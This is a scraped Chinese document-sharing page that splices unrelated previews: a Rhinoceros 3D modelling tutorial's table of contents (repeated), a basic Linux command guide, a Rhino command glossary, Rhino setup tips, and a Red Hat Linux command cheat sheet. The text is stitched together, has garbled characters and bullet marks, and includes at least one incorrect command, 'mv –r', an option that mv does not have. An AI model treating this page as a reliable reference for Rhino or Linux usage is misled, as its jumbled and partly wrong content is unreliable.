{时间管理}犀牛入门基础教程让您在短时间内熟悉犀牛软件

(时间管理)犀牛入门基础教程让您在短时间内熟悉犀 牛软件

犀牛建模入门 Ⅰ 犀牛建模入门

2010寒假Rhinoceros课程全记录 Ⅰ

犀牛建模入门 Ⅰ 目录 Ⅴ 目录 前言 1 第一章 我的建模观 2 1.1 为什么选犀牛 3 1.2 3D 软件分类 5 1.3 P olygon 与Nurbs 6 第二章 Rhino 界面和基础操作 9 2.1 界面构成 9 2.2 如何使用工具面板 11 2.3 自定义工具集 13 2.4 Rhino 视窗 14 2.4.1视窗基本操作 14 2.4.2在底部显示视图标签 15 2.4.3视窗显示模式 16 2.4.4 工作平面 18 2.5 观看物体 20 2.6 物体基本操作 20 2.6.1选择物体 20 2.6.2 建模辅助设置 22 第三章 绘制2D 物体 24 3.1 Rhino 中的对象介绍 24 3.1.1 点物体 24 3.1.2 线物体 25

3.1.3 面物体26 3.1.4 网格28 3.2 点物体的绘制29 3.3 曲线绘制31 3.3.1 Rhino直线绘制31 3.3.2 Rhino曲线绘制35 3.3.3 其他封闭几何体37

目录 Ⅴ 目录 Ⅴ 第四章 2D 编辑和NURBS 深入理解 41 4.1 曲线编辑 41 4.2 对nurbs 曲线的深入理解 52 4.2.1 何谓nurbs ? 52 4.2.2“有理”和“无理” 52 4.2.3“ 均匀”和“非均匀” 60 4.2.4 曲线的“阶” 63 第五章 曲面构建 65 5.1 构建曲面 65 5.1.1 创建方形平面 68 5.1.2 绘制简单曲面 69 5.1.3 拉伸曲面 72 5.1.4 放样 75 5.1.5 扫琼 80 5.1.6 旋转命令 83 5.1.7边界曲面、闭合线曲面、镶面的区别 84 第六章 曲面编辑 87 6.1 点的编辑 87 6.2 分割和修剪 94 6.2.1 曲线作为分割边界 94 6.2.2 曲面作为分割边界 95 6.2.3 还原分割和修剪 97 6.3 链接曲面 97 6.4 延伸曲面 97 6.5 曲面倒角 99 6.6 偏移工具 101 6.7 混接曲面 102

Linux基本命令大全

下面我们来介绍常用基本命令 一、注销,关机,重启 注销系统的logout命令 1,Logout 注销是登陆的相对操作,登陆系统后,若要离开系统,用户只要直接下达logout命令即可: [root@localhost root]#logout Red Hat Linuxrelease 9(Shike) Kernel 2.4.20.8 on an i686 Login: ←回到登陆的画面 2,关机或重新启动的shutdown命令 Shutdown命令可以关闭所有程序,依照用户的需要,重新启动或关机。 参数说明如下: λ立即关机:-h 参数让系统立即关机。范例如下: [root@localhost root]#shutdown –h now ←要求系统立即关机 λ指定关机时间:time参数可指定关机的时间;或设置多久时间后运行shutdown命令,范例如下: [root@localhost root]#shutdown now ←立刻关机 [root@localhost root]#shutdown +5 ←5分钟后关机 [root@localhost root]#shutdown 10:30 ←在10:30时关机 关机后自动重启:-rλ参数设置关机后重新启动。范例如下: [root@localhost root]#shutdown -r now ←立刻关闭系统并重启 [root@localhost root]#shutdown -r 23:59 ←指定在23:59时重启动 3,重新启动计算机的reboot命令 顾名思义,reboot命令是用来重新启动系统的。常用的参数如下: λ-f 参数:不依正常的程序运行关机,直接关闭系统并重新启动计算机。 -Iλ参数:在在重新启动之前关闭所有网络接口。 虽然reboot命令有个参数可以使用,但是一般只需要单独运行reboot命令就可以了 二、文件与目录的操作 列出文件列表的ls命令 1,ls(list)命令是非常有用的命令,用来显示当前目录中的文件和子目录列表。配合参数的使用,能以不同的方式显示目录内容。范例如下: ? 显示当前目录的内容: [tony@free tony]$ ls Desktop mail myinstall.log test.txt ←有两个目录及两个文件夹 ? 当运行ls命令时,并不会显示名称以―.‖开头的文件。因此可加上―-a‖参数指定要列出这些文件。范例如下: [tony@free tony]$ ls –a ? 以―-s‖参数显示每个文件所有的空间,并以―-S‖参数指定按所有占用空间的大小排序。范例如下: [tony@free tony]$ ls –s –S 总计36 4 Desktop 4 mail 24 myinstall.log 4 test.txt ? 在ls命令后直接加上欲显示的目录路径,就会列出该目录的内容。范例如下: [tony@free tony]$ ls –l/usr/games 2,切换目录的cd命令

犀牛常用命令

. 通用DocumentProperties 设置Hide 隐藏 Invert _Hide 反选隐藏 Show 全部显示 Lock 锁定 Unlock 解锁UnlockSelected 选择解锁Group 编组 Ungroup 解组 Zoom _Extents 场景最大化显示Zoom _All _Extents 场景最大化显示(4窗) Zoom _All _Selected 选择物体最大化显示(4窗) SelAll 全选 SelDup 选择重复 SelCrv 选择曲线 SelLast 选择最后物体SelBrush 笔刷选择SelectionFilter 过滤选择 创建 点 Points 点 线 Polyline 多段线 Curve 控制点曲线 InterpCrv 经过点曲线InterpcrvOnSrf 曲面上画曲线Circle 圆 Ellipse 椭圆 Rectangle 矩形 曲面 ExtrudeCrv 线挤出ExtrudeCrvAlongCrv 线路径挤出ExtrudeCrvToPoint 线挤出到点ExtrudeSrf 面挤出 SrfPt 4点成面 PlanarSrf 封闭平面曲线成面 Loft 多线放样 EdgeSrf 2,3,4边线成面 Patch 补丁面 Sweep1 1轨扫

. Sweep2 2轨扫 Revolve 剖线旋转面 实体 Box 六面体 Cylinder 圆柱 Sphere 球体 Ellipsoid 椭球 Pipe 圆管 编辑 通用 PointsOn or (F10) 打开控制点Join 组合 Explode 炸开 Trim 裁剪 Untrim 裁剪修复 Split 分裂 Rebuild 重建 变形 Delete 删除 Copy 复制 Move 移动Rotate 旋转 Scale1d 1维缩放 Scale2d 2维缩放 Scale 3维缩放 Mirror 镜像 Array 阵列 SetPt 坐标对齐 Orient 对齐 Orient3Pt 缩放对齐 Twist 扭曲 CageEdit 框架变形 Flow 曲线放样FlowAlongSrf 曲面放样曲线提取 Project 投影 DupBorder 拾取曲面边缘DupEdge 拾取选择边线Contour 等高线 Make2D 打印成曲线ExtractIsocurve 结构线提取曲线 Offset 偏移

犀牛入门基础教程让您在短时间内熟悉犀牛软件

犀牛建模入门2010寒假Rhinoceros课程全记录 Ⅰ

目录前言1 第一章我的建模观2 为什么选犀牛3 3D软件分类5 Polygon与Nurbs6 第二章Rhino界面和基础操作9 界面构成9 如何使用工具面板11 自定义工具集13 Rhino视窗14 视窗基本操作14 在底部显示视图标签15 视窗显示模式16 工作平面18 观看物体20 物体基本操作20 选择物体20 建模辅助设置22 第三章绘制2D物体24 Rhino中的对象介绍24 点物体24 线物体25 面物体26 网格28 点物体的绘制29 曲线绘制31 Rhino直线绘制31 Rhino曲线绘制35 其他封闭几何体37

曲线的分割和修剪 41 编辑曲线上的点 46 曲线编辑工具 48第四章 2D 编辑和NURBS 深入理解 41 曲线编辑 41 对nurbs 曲线的深入理解 52 何谓nurbs 52 有理”和“无理” 52 均匀”和“非均匀” 60 曲线的“阶” 63 第五章 曲面构建 65 构建曲面 65 创建方形平面 68 绘制简单曲面 69 拉伸曲面 72 放样 75 扫琼 80 旋转命令 83 边界曲面、闭合线曲面、镶面的区别 84 第六章 曲面编辑 87 点的编辑 87 分割和修剪 94 曲线作为分割边界 94 曲面作为分割边界 95 还原分割和修剪 97 链接曲面 97 延伸曲面 97 曲面倒角 99 偏移工具 101 混接曲面 102 合并曲面 105 衔接曲面 106 几何学上的G0、G1和G2连续 109 第七章 Rhino 实体和网格 112 基本几何体创建 112 实体工具 118 布尔运算 118 抽面工具 122 实体倒角 123 MESH 对象 124

M大 传授犀牛详细设置及经验

Daniel’s Rhino3D Shanghai Day one:一些基础的犀牛设置和命令设置,原理 1. 一般工业设计建模的图纸选用为:,公差值为 0.001。公差值的设定在Option-units 2. 在建模开始前要设定好图层,将不同的物件随时分类。M大的一般分类为: 红色-curves,白-backup,其它图层放置实体。 3. Shift+右键=编辑“命令”。Ctrl+左键=复制“命令”。Shift+左键=在工具列中 移动“命令”。 4. 鼠标中键的设定:先T ools-T oolbar layout-File-Open,再选择要导入的工具 列。然后Option-mouse,在如图选择 (我会分享给大家M 大的中键工具列,非常好用) 5. 点击“命令”后再按F1,可以查看该“命令”的帮助。这个大家要经常用, 因为碰到一些不是很懂的“命令”,F1完全可以解释清楚。(我会分享帮助的中文版。系统自带的是英文的) 6. Option-General的设置一般如图:

7. Snap设置一般如图(颜色可根据自己的喜欢设置): 8. 在绘图时,按住“Alt”,可以暂时关闭Snap 9. 标准圆为4条圆弧,曲线圆为一条曲线。因为标准圆为有理曲线,所以一般 建模作圆时,选用曲线圆。 10. 画一段弧线时,超出90度,自动变成2段,超出180度,变成3段。同理 11. “Join”会影响物体的属性。 12. 按一下“T ab”,在画线时锁定斜率。(这个在画与其它线保持连续性时很有 用)。 13. 最精简曲线:Degree=3,4个控制点。同理。每增加一个控制点,就多一个 节点。 14. 2条曲线在连接处的各自2个控制点,影响G1。3个控制点,影响G2。

Red_Hat_Linux常用命令汇总

[资料] Red Hat Linux常用命令汇总 Linux 常用命令汇总 ls命令: 1. ls //列出当前目录的文件和文件夹 2. ls –a //列出当前目录的文件和文件夹,包含隐藏文件 3. ls –l //列出详细信息 4. ls 目录 //列出某目录下的文件 pwd命令 //查看当前所在位置 du 命令 1. du 目录 //查看目录的总容量以及子目录的容量 2. du –s 目录 //查看目录总容量 cd 命令 1.cd .. //回上一级目录 2.cd / //回根目录 3. cd //回用户主目录 4.cd 目录路径 //去某目录 mkdir 目录名 //创建目录 rmdir 空目录名 //删除空目录 rm 文件名 //删除文件 rm –rf 目录名 //删除目录以及目录下所有文件 mount 命令 1.mount /dev/cdrom /mnt/cdrom //挂载光驱到 /mnt/cdrom目录下2.mount -t vfat /dev/sda1 /mnt/u //挂载U盘到 /mnt/u目录下

3. umount /mnt/cdrom //卸载光驱 fdisk –l //查看本机存储设备 file 文件名 //查看文件类型 find 目录名–name “*.c” //在某目录下查找文件为*.c的文件 whereis 文件名 //查找文件在哪些目录下 cat 文件名 //显示文件内容 cat 文件名 | grep 文字 //只显示包含文字相关的内容 cat 文件名 | more //分页显示文件内容 tail 文件名 //查看文件末尾 head 文件名 //从头查看文件 cp 命令: cp 文件1 文件2 //复制文件1 到文件2 cp 文件1 目录1 //复制文件1到目录1下 cp 目录1/文件1 目录2 //复制目录1下的文件1到目录2下 cp –r 目录1 目录2 //复制目录1下所有内容到目录2 mv 命令: mv 文件1 文件2 //重命名文件1为文件2 mv 文件1 目录1 //移动文件1到目录1下 mv 目录1/文件1 目录2 //移动目录1下的文件1到目录2下 mv –r 目录1 目录2 //移动目录1下所有内容到目录2 chmod 命令: chmod u+x g+r o-w 文件名 //为文件设置权限(用户,组,其他人)chmod 744 文件名 //为文件设置权限(1-执行,2-写,4-读) chown 命令: chown 用户文件名 //把文件改为用户所有

相关文档
最新文档